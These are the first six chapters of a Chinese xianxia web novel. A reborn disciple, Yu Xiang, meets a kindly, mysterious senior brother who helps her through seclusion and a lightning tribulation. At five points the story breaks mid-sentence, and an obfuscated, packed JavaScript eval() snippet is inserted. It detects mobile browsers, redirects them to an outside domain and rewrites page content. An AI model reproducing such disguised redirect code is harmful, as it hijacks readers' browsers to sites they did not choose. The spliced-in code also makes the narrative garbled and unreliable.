《我喜欢的人是攻略者》 1. 第 1 章 直到被大师兄丢进了山洞闭关,无边黑暗将她折磨得快要疯掉,虞香才想起来这是她第二次遭遇这些事了。 她曾经活过一遭。 一生求而不得舍而不能,最终于惊蛰时分死于荒烟蔓草之地,身上插着两把剑。 身前身后站着两个要置她于死地的人。 一个是她的心上人。 一个是她最敬爱的师兄。 …… 觉醒之前发生的所有事情,全部都和第一次的人生一模一样。 她本出生在凡人界。 是十岁时被父母推上了一辆马车,再下车时,发现自己换了地。 她彼时不懂,懵懵懂懂地问车夫这是何处,然后才从他口中得知父母收了五两银子,把她卖到了修真界当杂役。 那车夫为委实算不上好人。 见她被亲人抛弃,落井下石起来那是相当利索又无情。 “你说你家中那么多孩子,多一个不多,少一个不少,怎么唯独就把你卖了?” 虞香生性要强。 就算心中有再多的怨和恨,也全部藏在了体面的微笑之下。 “家中弟妹年幼,哥哥将来要继承家业,不能远行。祖母年事已高,要是知道她最疼爱的姐姐去了修真界,必定元气大伤。” “我是最合适的人选,来的人本就应该是我。” “可……!” “爹娘抚养我们兄弟姐妹七人已是十分辛苦,为人子女,自当尽孝,为长辈解忧。倘若我早知如此,肯定也是要主动来的。” 那车夫被她堵说不出话来,过了会才红着脸憋出一句: “……你倒是懂事。” 过去周边的邻居也总是这么评价她。 唯独她的家人们从来没有承认过。 他们说她两面三刀,争强好胜,事事想着要出头,一肚子的坏水。 说老大老二老三正直善良,后边几个弟弟妹妹也都阳光开朗,怎么中间就生了她这么个冤孽祸害。 …… 虞香起初在天宗呆了很多年。 她依稀记得入宗当日,凡人的管事警告她不要有不切实际的妄想,他们凡人能来到修真界,还是天宗此等大宗门干活已是她的福报。 说句不好听的,他们便是栏里的牲口,修不了仙,也升不了天的。 当时虞香是低眉顺眼地点头答应,可转过身,她便绞尽脑汁地往仙人授学传道的地方里钻。 大道艰深。 十载过去,她才窥见道门一隅。 即便是看到了,她的脚底下依旧是凡人与修道者之间的鸿沟。 这一路,她步履维艰,挣扎沉浮。 每每要坚持不下去了,便会出门看看天上御剑飞行的修士,想想那日父母推她上马车时的解脱笑容。 那是虞香第一次看见他们在她面前笑得开心得像个孩子。 后来,她终于也敢那么笑了。 那日,她一只脚跨进道门,道心初建。 整个人脱胎换骨,恍然得到了新生。 那日天阴,虞香却觉得自己看到了一束天光。 但也不是过了太久,什么光都熄灭了。 正当她想着要为自己打算,准备辞去杂役,拜入宗门,全心修道时,举发她的凡人管事和天宗堂主一同降临在了她的面前。 天宗堂主疾言厉色,眼里容不得一粒尘埃。 手中剑寒光凛冽。 “不是本门弟子不得修炼本门功法!” “废除修为,逐出天宗!!!” …… 若非白衍机恰巧出现在天宗山门之外,又因好奇戳了戳她的脸颊,虞香未必能捡回来这条命。 那时她全身的骨头像被车轱辘来回碾过了几遭,瘫在石阶上根本起不来身,当感觉脸颊有两点冰凉,睁眼瞥见一角纯白衣摆,立刻像看见最后根救命稻草般死死抓住。 白衍机被她拽得猛地一沉,惊了一下,却也没有甩开她。 “这位道友是何用意?你抓着我,难道是想跟我回家?” “我数三声,若你不放手,我便要带你走了。” “三……二……一……好嘞!我白衍机终于要有小师妹了哈哈!” 白衍机要带她走,天宗的守门弟子自当阻拦。 他们说她违背宗规,是天宗家贼,劝他慎重。 可白衍机却是朗声回应:“什么小偷家贼,这是我救世门的四弟子……” 他低下头问她:“师妹你叫什么名字?” “……虞香。” 白衍机:“她是救世门四弟子虞香!我要带她走,你们谁要拦?谁敢拦?!” 向来用鼻孔看人的天宗弟子面面相觑,终究是不得不给了他这个面子。 白衍机将她带回了救世门。 最初虞香也觉得宗门的名字像是招摇撞骗的江湖骗子,是后来才知道后山镇压了一把生了心智、怂恿历代剑主毁天灭地的邪剑,救世门一名名副其实。 当时,救世门的门主见了她,听白衍机说要把她收入门中,是并不愿意的。 邪剑虽被大阵封印,却一直贼心不死,伺机要卷土重来。 若非门主是全知初期的超级高手,座下的三个弟子都是公认的天才,恐怕早就被钻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861086|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空子。 如果收留虞香,必当埋下祸患。 但所有人都拗不过白衍机的死气白赖。 当得知自己可以留下,甚至能以四弟子的身份自居,虞香暗自下定决心,一定要争气努力,不辜负师傅和师兄们。 抱着感恩感激的心,她在大师兄和三师兄的磨炼中咬牙撑了下来。 那时她总天真地以为,只要坚持一下,再坚持一下,便肯定能得到他们的认可,成为令他们骄傲的师妹。 总有一天他们会自满地向别人介绍她: “这是我的师妹!” 后来,这句话等是等到了。 却是她像人人喊打的老鼠躲在阴暗的角落,看着师兄们拉着新入门的小师妹冲别人说的。 …… 如今回首望去,虞香好像不得不信命了。 任是她摸爬滚打,费尽心思都得不到一点。 但有些人,生来便拥有一切。 师傅是对的。 他们确实不该收留她的。 她终究还是恩将仇报,成了祸患。 十年闭关出来后,当望见众师兄与小师妹亲密无间的画面,邪剑趁虚而入,撬动她的心房,让她生出心魔。 她的心上人对她冷若冰霜,却用含情脉脉的眼神越过她的发顶、望向小师妹时,让她终于忍不住拔出邪剑,从此魔性缠身。 自那以后,好像这世间的坏事……全都让她给做尽了。 一人对抗修真界八千修士,是命中注定上演的场景。 那日惊蛰时分,黑云蔽日。 她手持邪剑看着她的师傅师兄一脸“我早料到,果真如此”,看着她的心上人无比怜惜地将劝她回头的小师妹护在身后。 看着白衍机悔恨交加地说自己不应该。 不应该一时心善救她。 不应该带她回来。 若早知如此,任是她死在他眼前,他都不会动弹一下。 如今大错已铸,他自己犯下的过错,他要亲手纠正。 虞香能接得下所有人的剑,师傅的,心上人的,乃至修真界八千修士,却唯独接不下他的。 白衍机的那一剑,她看在眼中时,总觉得太像当年她濒死之际看到的第一双伸向她的援手。 怎么接呢? 接不住的。 接不住也好。 这些年来一直挂在她心头的东西,总算是可以还回去了。 从今往后,世上再无救世门四弟子虞香。 再无愧对师门的叛徒罪人。 今生今世,她只愿做一个好人。 求一个善终。 2. 第 2 章 前尘往事一点点浮上脑海的时候,恍然在举行一场生人活祭的水葬。 虞香躺在木筏上,顺流而下掉进一个漆黑又冰冷的水潭。 等再清醒,已是天光渐明,她不知怎么就离开了山洞,去到了外面的世界。 挣扎着睁开双眼,朦胧的日光与一张男人的脸同时印入眼帘。 耳边响起他欣喜的话: “太好了,你终于醒了。” 听到他的声音,虞香顿时屏住了呼吸。 …… 眼睛看得还不是太清楚的时候,当望见对方与她前世心上人有七八分相像的轮廓剪影,听到那有七八分相似的声音,虞香是真的以为此刻站在她身旁的那个人是他。 可伴随模糊的视野逐渐清晰,她一直悬着的心落了下来。 他们是很像。 墨冠束发,剑眉飞扬,一派的清隽闲雅。 但他们绝不可能是同一个人。 她前世的心上人永远不会像他这样,对她露出亲切微笑,用温柔的眼神凝视她。 那个人望向她的眼里除了厌恶…… 便只剩下了恨。 想到这里,虞香不禁闭上了开始发烫的双眼。 再睁开时,所有炽热又压抑的情感仿佛被一盆冷水浇灭,找不出一丝曾经存在过的痕迹。 虞香:“敢问阁下是?” 对方露出豁然的表情,眼中望向她时的温柔加深了几分。 他说: “你应该没有见过我。” “我是你的四师兄,陆寻。” “听闻门内收了位师妹我便赶回来了。” 他嘴边的微笑比春风要更和煦。 宛如久寒过后迎来的暖意,见过一眼,便再也忘不掉了。 “很高兴能见到你,小师妹。” …… 虞香的记忆里从来没有一个四师兄。 救世门向来只有他们师徒六人。 师傅隐于门内,不问世事多年。 大弟子单清,成熟稳重,是救世门的下任门主。 二弟子白衍机,师傅口中顽劣却聪明的超级天才,一套自创的功法闻名天下,是各大门派想要招揽的座上宾。 三弟子谢远,最年轻的剑主,人如其剑冷傲孤僻,剑技放眼全修真界也是一骑绝尘。 而她排行第四,尽管不为外界所熟知,也是正式拜入门下的弟子。 如今小师妹尚未到来,可在她之后,直到虞香前世死时,救世门也没有收过第六位弟子。 陆寻的身份蹊跷,来历不明,虞香之所以没有立刻与他挑明关系,是因为在他身上感受不到任何恶意。 她前世是邪剑之主,对人的邪正善恶最是敏锐。 陆寻的身上没有任何的杀机歹念,那股纯粹的善意与同门情谊让她犹如芒刺在背,浑身都不自在。 陆寻:“……师妹?” 虞香平静地看着似乎有点慌张了的陆寻:“是你把我从山洞里带出来的?” 对方坦率点头:“对,是我。是……怎么了吗?” 虞香不答话,只沉默无言地盯着他。 空气安静了一阵。 当陆寻始终只用疑惑的视线回望她,虞香终于垂眸,她背过身,声色清冷道: “没事,我要休息了。” 他好像偷偷呼出了一口气,然后又笑了起来。 “那虞香师妹好好休息,我明日再来探望你。” …… 第二日陆寻真的来了。 他不止人来了,还带来了疗伤的药。 她不吃,也不应,无视他比无视空气更加彻底,依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861087|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧无损他满满的干劲,仍是一口一个“虞香师妹”,不知倦怠地问她好些了没有。 陆寻忙里忙外,虞香脸上不动声色,内心却是复杂又感到难堪。 她有几位同门师兄,不过跟后来入门的小师妹比起来,她好像没有真正做过几日别人的师妹。 二师兄白衍机救了她,又带她回来,羁绊最深。 可他生性自由,不受束缚,能相处在一起的时间太少,一年也许都见不上一面。 大师兄单清当年能当着白衍机的面,指着她的鼻子说她必成祸患,那自是对她没有什么好感。 至于目空一世的三师兄谢远,那更不必说了。 反倒是不知道从哪里来的陆寻,更像她的师兄。 他把她从漆黑得令人绝望的山洞里带了出来,出来之后,不在意她的爱理不理,每日都来找她。 他句句都有她。 句句全是她。 “师妹今日可好?有没有哪里不适?” “虞香师妹需要什么尽管告诉我,我一定为你得来。” “师妹,我问相熟的医修求了一剂治伤良药,你快来试试!” “还望虞香师妹不要嫌我烦人,门内好不容易收了个师妹,我只恨自己回来晚了。” 好像他真的是她的师兄一样。 可更多时候,虞香会控制不住地把陆寻当成那个人。 当作那个人不再恨她了。 也会温柔地看着她,对着她笑了。 每每生出这样的幻想,虞香只觉得荒唐可悲,于是再迎上陆寻时,她的回应只剩下漠然闭眼。 “我很好。” “还请师兄以后不要再来了。” 她不在意陆寻是谁。 从哪里来,有什么目的。 但她不想再见到他了。 3. 第 3 章 打那过后,陆寻依旧每天都会到她这里来,风雨不改。 虞香日日对他视若无睹,没有再开过一次门,没有再应过一句话。 不愿意见他是真,修养也是真。 陆寻打断了她的闭关,半途把她从山洞里带了出来,可早在那以前,她已经受了伤。 若是没有陆寻,此次的闭关将会持续整整十年。 虞香记得很清楚,前世时候,大师兄将她丢进山洞,又在洞口设下只有当她晋升方可解开的禁制后,再也没有问过她的死活。 虞香入关前是开化前期,出关后已是到了入世后期。 一跃五阶,就连被誉为超级天才的白衍机都比不上了。 然而十年不见光。 出关时候已是半疯状态。 她又笑又哭,浑浑噩噩地去找大师兄,以为这一次终于能得到他的认可。 可当跌跌撞撞地回到宗门,却是正好撞上了新入门的小师妹的欢迎宴。 宾客来去如潮水。 她认知中个个如高岭之花清冷孤傲的师兄们像是变了个人,竟是能那样为小师妹争风吃醋,与她相亲相爱。 那一天,虞香像是老鼠一样躲在阴暗的角落里,看着她的师兄们拉着小师妹向所有人宣告: “这是我师妹!” 他们师徒五人站在那里。 找不到她的一席之地。 后来,大师兄自是再见到了。 她说了些什么,他又说过些什么,虞香是记不清了。 她只记得他其中的一句: “能有如今成就,你该感谢我。” …… 意识到是陆寻解开了洞口的禁制,带她离开的时候,虞香便在想,单清什么时候会来带她回去。 他不可能不来的。 三位师兄中,当属大师兄对她最为严厉,抓她抓得最紧,无时无刻不督促她修炼,生怕她被邪剑钻了空子。 果然,在出关后的第五日,虞香等到了他。 他来时陆寻不在,双开的木门“啪!”一声被强风吹开时,犹如惊雷一般撞进了虞香耳中。 她余光里刚闪过一道银白,紧接着就听到对方疾言厉色地对她说: “跟我回去重新闭关。” 仿佛只要她表现出任何违抗的意思,他立刻会将她就地正法。 隔着一轮生死重逢昔日故人,虞香也不禁有几分恍惚。 单清脸上的冷漠神色一如她记忆中大师兄的冰冷。 他视野里有她在的时候,永远会微微蹙起眉头,神情眼神无一不是对她的抵触。 他曾经说过的那些“哼我就知道会有今日”“二师弟真是糊涂,把这么个忘恩负义的东西捡了回来”依稀在她耳边回响。 还有他的痛呼声。 她当年一剑斩断了他的右臂,他那一瞬间的震惊仿佛仍在眼前。 而许是见她迟迟不应,此刻在她眼前的单清沉下了脸色。 单清:“为何不应?你不愿去?!” 虞香摇了摇头:“不是,我这就动身。” 前世她与他们落得那样的结局,如今死而复生,恍然大梦方醒,许多事情陆陆续续地都想开了,想明白了。 将要与单清擦肩而过时,虞香停了下来,迎着他的冷眼审视,低声说了一句: “师兄,对不起。” 她看到他顿时愣住了。 虞香扯了扯嘴角,接着轻声道来: “我以前总是怨你对我太过无情冷漠,不管我怎么努力去迎合你的要求,你也始终不肯给我一句认可。” “但如今我想明白了。” 她嘴边的笑多了些轻快之意。 “师兄你其实是个好人,如果你心坏一点,你大可对我放任不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861088|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理,任由我自生自灭。当我被邪剑控制,你便可直接杀了我,永绝后患。” “但你却没有那么做。” “谢谢你能关照我,没有直接放弃我。我能有如今成就,确实应该谢你的。” 当虞香说出这番话时,不知为何,当年明言她该感谢他的单清,突然间沉默了。 良久,他才慢慢吐出一句: “……你知道就好。” 虞香点了点头,没有去深思他为何说话时是那样艰难。 她甚至又笑了笑,有一种终于解放了的轻松。 “恩,以前是我贪求得太多。” “今后不会了。” 单清望着她离去的背影,抿着唇,没有再说话。 …… 在单清沉默的监视下,虞香重新回到了这个折磨了她远多于十年的漆黑山洞。 其实就算单清今日不来,明日她也会再来到这里,重启闭关修行,尽快把修为提升到前世的水平。 她想要亲手做一件欺命仙衣。 欺命仙衣是可遇不可求的仙级法宝,能替人消灾挡难,甚至以命换命,前世她也只在小师妹的身上见过。 毕竟这世间没有多少人愿意用自己的命,去换别人的命。 虞香自然也是不愿意的。 从一无所有的凡人,到能与师兄们比肩的修士,她这一路经历太多,付出太多。 好不容易才走到这里,自是不愿意将一切甚至于性命拱手让人的。 可是,她欠白衍机一条命。 她想还了他这条命。 虞香永远都忘不了那年濒死时分白衍机向她伸出的那一双手。 哪怕后来白衍机当着她的面,看着她的眼睛说自己后悔了、不应该救她、带她回来,她也忘不掉,忘不了。 但现在,她想忘了它。 让她忘了它吧。 4. 第 4 章 陆寻寻迹追过来,在意料之中,又在情理之外。 他来时正好与大师兄撞了个正着。 虞香不知道他们之间发生了什么,只是等注意到了的时候,山洞外的风声已是一连几日都夹杂着剑鸣。 直到第八日方才停下。 她理所当然地认为是陆寻终于被大师兄撵走,不然便是他主动放弃。 然而短暂的沉寂过后,山洞里竟响起了细微的脚步声。 虞香心想理应是大师兄,直到隐约有一道身影站在了她跟前的黑暗里。 他似乎强撑起了一个笑,轻柔地对她说道: “师妹,我来了。” “我们一起出去吧,大师兄不会再为难你了。” 刹那间虞香只觉得不可思议。 她对此感到难以理解,下意识张口想问,最终却只是闭上了嘴,转过了身,一言不发。 陆寻见状也不强求。 他在原地坐下,安安静静地守了她十个日夜后,在咳血时终于离开。 虞香本以为陆寻他是死心了。 然而刚松了口气,隔日耳边又忽然响起来一句…… “你是何人?!我是生活在此地的山妖,你为何要闯入我的地盘?!” 虞香睁眼,只见不远处有一团澄黄色的光团忽明忽灭,格外地有活力。 “……” 她直觉是那个白给的四师兄又找过来了。 …… 虞香不知道陆寻是如何规避山洞内的禁制的。 山洞并非天然形成,当年大师兄为了磨练她的意志,让她专心闭关,好好修炼,特地在后山新开辟了一山洞,还请了师傅来设下大阵。 来时是一条直路,想要出去时便成了迷阵。 这里没有光,即使用术法,也不过是昙花一现。 虞香前世在此地十年,都没有摸到过一株杂草。 如今陆寻能像只萤火虫似地在这里招摇过市,确实匪夷所思…… “小道友你看我带来了什么!” 虞香余光扫过去一眼,只见被澄黄光芒照亮的地方,正有一簇生命力旺盛的小花安安静静地躺在那里。 而意识到了她的视线,她的好师兄使了个术法,变出一堆漂亮的荧光色蝴蝶,在半空翩翩飞舞,美不胜收。 “……” 虞香默了默。 随之拂手,把师兄、小花和蝴蝶一同送出了山洞外面。 …… 不管虞香把她的好师兄赶走多少次,他都会再回来。 最初时候,他尽忠职守地扮演山妖的角色,大声嚷嚷着这里是他的地盘,让她速速离开山洞。 她以为是他入戏太深,结果听着听着,听到他把离开山洞的办法全倒了出来的时候,才意识到他原来只是想带她离开。 陆寻大概以为她是被大师兄强行送进来的。 不过等时间一久,当发现她一心修炼,丝毫没有离开的意思时,他也不再嚷嚷着让她出去了。 接下来的日子,陆寻像只听话的小狗安静地睡在她身边。 他不说话的时候身上的光也不会消失。 温柔的澄黄光芒照亮了一方小小的天地,好像在一片荒瘠的土地上造了栋小小的房子,驱散了她一直强压在心底深处对黑暗的恐惧。 而当他开口说话,又像是什么都知道。 他说:“没事的,别怕,我会一直在这里陪你。” 又道:“人间多美好,为了像你师兄那样的人不值得。” “专心修炼也好,等你变得厉害了,就没有人可以欺负你了。到时候你直接离开这里,离开救世门,无论去哪里,都是天堂。” “……天堂是我家乡的说法,意思就是……” 不过陆寻似乎也不是知道所有事情。 如果他真的知道一切,便会清楚,像她这样的人,是去不了他口中的天堂的。 …… 换在以前她魔性大发的时候,陆寻恐怕活不过第一个晚上。 但今时今日……时光倒流,阿邪也已不在手,除了最初的关注,虞香没有再在意他。 她不再多想,只沉下心专注于修炼。 修真界将修士的修为分作“窥道、开化、入世、通奥、凝炼、合一、全知”七层境界。 每层境界再分作前中后三期。 虞香前世入关时是开化前期,花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861089|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了十年,突破五阶,到了入世后期。 如今重来一世,起点相同,但短短三个月后,她就突破了开化境的桎梏,登上了下一重境界。 伪装成山妖的陆寻有所感知。 他喜气洋洋地为她庆祝,澄黄光芒大作如烟花绽放,连说了好多声“恭喜恭喜”,还说“虞香师妹最棒了”,骄傲的语气像在为她自豪。 又过了三个月,虞香再破一层小境界,他同样为她高兴。 不过半年后,当虞香已到入世后期,却仍不肯出关的时候,陆寻笑不出来了。 他问她:“你想一举冲到通奥境?” 虞香不应,但纹丝不动的姿态已经说明了她的态度。 结果陆寻更加着急了,连山妖都不继续装了。 他苦口婆心地劝她:“师妹,你一年时间连升了数重境界,哪怕放眼整个修真界,众修士皆尘埃莫及。可相对的,晋升速度过快以致根基不稳,突破到通奥境时又必将引来雷劫,若是强来……恐怕凶多吉少。” 虞香没有说话。 …… 自那以后,陆寻开始间歇性地消失了。 他每次空手而去,满载而归。 小小的一个山洞堆满了他带回来了的天灵地宝、渡劫法宝。 虞香没有动过,任由他放在那里。 而之后有一天,洞口外终于开始响起隐隐雷鸣。 雷鸣之中,她忽然听到一句: “虞香师妹,要活下去。” 感觉到手背被温暖的掌心裹住,虞香睁开了眼睛。 山妖已然消失不见,取而代之的是她白给的四师兄陆寻。 他眸光清澈,微光映照的俊秀脸庞全是忧心焦虑。 “修士渡雷劫外人不能插手,若我出手,我们两人皆是死路一条。” “雷劫不容小觑,但你这一段时间的努力毋庸置疑。天道酬勤,你一定能得偿所愿、心想事成。” “师妹,一定要活下去。” 霎时间,虞香只是不由地有几分恍惚。 她见惯了每个人那副恨不得她赶紧暴毙的样子。 这是第一次有人对她说…… 要活下去。 5. 第 5 章 修士一旦突破到通奥境,则必将亲身面临一次雷劫,容不得外人插手。 旁人虽不能代渡雷劫,但能做的事也有不少。 虞香依稀记得小师妹当年渡雷劫时是如何的大张旗鼓,声势浩大。 那会小师妹只是刚到入世境,师傅立刻张罗着四处寻找渡劫的福地,只为求得多一分稳妥。 到了快渡劫的时候,更是整个修真界都出动了。 各大门派宗主掌门纷纷送来渡劫用的法宝,不干涉现世的隐世宗门将他们的圣地借了出来,师兄们左右守候,师傅观星坐镇。 结果那雷劫自然像是儿戏一样,雨点大小,很快就结束了。 跟她今日所遭遇的,恍然两个极端。 轰隆雷鸣一阵阵响起的时候,虞香仿佛被扯回了前世。 她曾经也渡过一次雷劫。 不在这里,是在后山禁地附近。 当时她身边有两件从别人修士手中买来的法宝,心里想着邪剑它在附近,它是世间至恶,说不定雷劫会分出两道去劈它。 结果弄巧成拙。 有邪剑牵引,天雷反而多了几道。 满世界的紫电虹光,她心中极惧,下意识左右张望、想要求援时,忽而想起师傅和师兄们都不在宗门。 小师妹为救妖族前太子中了奇毒,他们一同出山找怪医解毒去了。 这么比起来,她今生倒是要好很多。 没有阿邪在旁加强雷劫,还想起了些渡劫的经验,甚至…… 还有人在担心记挂她。 “师妹!” 天雷生猛,直接劈开了山峰。 隔着飞沙走石,虞香听到有人在叫她。 她一边抵抗天雷,一边混混沌沌地想,大师兄叫她从来连名带姓,二师兄此刻仍在云游四海,三师兄只会用“你”或“她”来代称,究竟是谁……在叫她? “快用法宝!!这不是寻常的天雷!!” 虞香抬头望天。 天色异常,一如她曾经遇过一遭的紫红交替。 这的确不是寻常的天雷。 看来她虽然回到了过去,但她昔日犯下的恶作过的孽,倒并没有因此而消散。 也好。 也好。 “虞香师妹——!!!” 这人分明不是她师兄。 但这声师妹…… 倒是叫得比谁都像她师兄啊。 最后看了一眼那像极了她前世心上人的脸,却让人感到陌生的惊慌担心的神情…… 虞香闭上双眼,静候下一声雷鸣。 …… 天雷过后,天色趋晴。 分明是好天气,陆寻脸上却被一片愁云惨雾所笼罩。 虞香硬抗下最后一道雷劫后,浑身顿时像被抽光了力气,倒地时陆寻猛冲到了她的身边,于是人便倒进了他的怀里。 她下意识抬头,发现有泪水从他眼眶涌出。 他拢着她的手也不知为何在抖。 虞香沉默了下,终于忍不住主动出声问了句: “你哭什么?” 可他没有解释。 他对她笑了笑后,只说:“……我带你去见师傅。” 陆寻此话一出,虞香瞬间知到了结果。 方才的天雷都没能把师傅他老人家请出来,现在去见他,恐怕多半是见不到面的。 这点陆寻一个假师兄不清楚便算了,就连在师傅座下多年的真徒弟也看不清楚。 单清:“她目前伤势……去师傅那里看一看也好。” 当察觉到她望过来的视线,单清抿了抿唇,脸色复杂,像是心中有话却不知该如何说起。 “……一年时间从开化前期到通奥境。”他顿了顿,“我没想到你能做到这种地步。” 他的话似乎还没有说完:“……算了,师弟你先去见师傅吧。” 陆寻点头恩声后立刻带她去找师傅。 然而正如虞香所料,他们果然连师傅的面都没有见着。 大门紧闭,从门后传出来的声音如古钟沉厚,平静无波澜。 “天雷异象不会空穴来风。” “这是她应得的。” 在那刹那间从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861090|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆寻身上迸发出来的愤怒情绪让虞香感到陌生。 陆寻:“应得的?” 他打了声冷笑,字字句句全是控诉: “你看不到她夜以继日的苦心修炼,也看不到单清把她关进山洞闭关以年来计。” “师傅漠视,师兄冷漠,这难道也全都是她应得的?!” 门后没有再传出任何回应。 像是再在这里多呆一秒都会让他窒息,陆寻带着她走了。 虞香从始至终一直保持着沉默。 师傅对她如此也不是一天两天了,过去她还会觉得心酸,忍不住拿自己的境遇与小师妹的作对比,但她现在已经不会了。 她学会了不再去对别人抱有期待。 只要没有了期待,那对方无论说什么、做什么,就全都是不痛不痒,不能再伤害到她了。 连虞香自己都已经不再在意。 但这位天降的白给师兄,直到此刻依然咬牙切齿,似在强压着愤怒。 而察觉到她的视线,他也望了下来。 “你……不生气吗?” 虞香默了下,没有应声,只收回了目光,不再看他。 刹那间,她仿佛听到一声轻叹。 他的沮丧似在失落于即使是一年的朝夕相伴,两人的关系依旧毫无进展。 可他再开口时,声音里还是含了温柔笑意。 “不生气是对的。” “他们不值得。” 陆寻将她送回了住处,脚步却踟蹰于院外,不敢进来,只对着她的背影说: “那些渡劫法宝……其实你可以用的。” “我不会害你的。” “你内伤未痊愈,我想出一趟远门去寻些好点的疗伤草药回来,这段时间你都见不到我了。” “虞香师妹,我走了。但若是有事,你尽管联系我。” 他的尾音消散后许久,虞香才终于转头,望向他方才站在的位置。 人已经走了。 原地徒留下了几枚通讯符。 她没有捡回来,只等一阵风来将它们吹走。 6. 第 6 章 从墙根爬上窗台绽放的小花,让虞香在三日内第七次想起了陆寻。 第一次是夜半风吹门响时。 当听到叩叩响声,她下意识抬头望向了门边,总觉得下一秒便会有个表面温柔开朗,实际偷感十足的假师兄推门进来。 他会扯出一堆天气真好的废话,接着问她心情如何,最后旁敲侧击地试探她是不是瞧他顺眼了一些。 第二次是打开柜子,里头的瓶瓶罐罐多到直接满出来,滚到她脚边的时候。 一年前她在闭关途中受了内伤,识海不稳,陆寻找来了海量灵药。 她那时没有用过,也没有细看,丢在一边,回头就忘了。 如今突然闯进眼前,才发现身边全是他留下的痕迹。 “……” 虞香关实了门板,锁紧了柜子。 结果第三次想起陆寻,是因为四下过于安静。 自从她想起前世以来,陆寻便日日围在她身边打转,哪怕去闭关了,都摆脱不掉他的纠缠。 他人不在这里,耳边却开始回荡起他曾经叽叽喳喳说过的各种胡话。 一如此刻,当不经意瞥见开在窗边的一朵小花,就想起他曾经一边拿着一节桃枝,一边很是欣赏兼满意地对她缓声叹道: “粉花与我师妹果然最是相配。” “……” “……” 简直无语。 “虞香?” 突然在身后响起的声音让虞香回了神,这才记起刚刚迎来了一位客人。 她收回目光的同时转身,看过来者后,旋即低头,叫了声: “大师兄。” …… 单清今日来时是一副心事重重的样子。 他脸上的欲言又止,像是想接着说那日想说却不知该如何说出口的话。 虞香不由多看了他一眼:“师兄若是有话要讲,可以不必顾忌。” 可她这么一提,单清本来想说的话反倒不好开口了。 他顿了顿,结果脱口而出的是一句: “……陆寻师弟去了齐天山。” 听到“齐天山”三个字,虞香的右眼皮猛跳了下。 单清:“齐天山山顶有一处庙宇叫齐天宫。那里……有疗伤的圣药。” 虞香知道。 她过去也曾去过齐天山一趟。 为的也正是那株长在齐天宫里的疗伤圣药。 那年她一路长途跋涉去到齐天山,斩杀了数以万计的妖魔,千辛万苦把圣药带回来,结果换来的却是一句…… “我不信她。” “她一心只想要害小师妹,又怎么会想要救她?圣药有异,绝不能给小师妹服用!” 当年说话之人就在跟前,任是虞香如何克制压抑,声色依然在不知不觉中冷了下来。 “陆寻要去哪里,是他的自由。” 意识到自己语气冰冷,她轻轻呼出一口气稍作调整,接着视线扫过单清,提醒道: “你不要太相信他。” 单清瞬间眉头紧皱。 他想虞香不可能不知道陆寻是为了谁才冒险去的齐天山,一年前陆寻甚至为了她与他这个大师兄大打出手、同门反目。 他一心一意呵护的师妹,如今得知他为她以身犯险后竟是这般反应,甚至还警告他不要过于信任他……实在冷漠至极。 但单清到底没有再纠缠下去。 他抿唇清了清嗓子,对虞香正色道: “无论如何……我今日来,是想告诉你,我认可你是我们救世门的弟子。” “以前是我们对你存在偏见,过于苛刻,不过这些年……尤其是这次闭关出来,你确实向我们证明了自己。” “我知道三师弟对你仍有偏见,他那里由我来说。从今往后,你就是我们救世门名正言顺的五弟子——” 虞香:“不必了。” 见单清愣住 